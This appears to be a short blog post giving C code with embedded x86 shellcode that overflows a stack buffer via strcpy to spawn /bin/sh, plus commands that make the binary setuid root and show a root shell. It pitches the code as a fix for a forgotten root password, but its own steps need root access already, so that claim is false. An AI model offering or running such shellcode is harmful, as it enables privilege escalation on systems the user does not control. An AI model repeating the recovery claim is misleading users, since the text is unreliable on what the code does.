For good purpose but with bad implications

If you forgot your root password and wish to access it to change... They code below can be used :)

#include "string.h"

#include "stdio.h"

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main(int argc, char **argv){

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < (int) strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer, large_string);

return 0;

}

HOWEVER... it is strictly for your own purposes ONLY. It shall not be used as hacking tool.

Use VM to test it out :) 

to test:
$ gcc bof.c
$ su
Password:
# chown root.root a.out
# chmod u+s a.out
$ whoami
YourName
$ ./a.out
$ whoami
root


You know gain root shell access and can execute anything as root rights... Scary ya...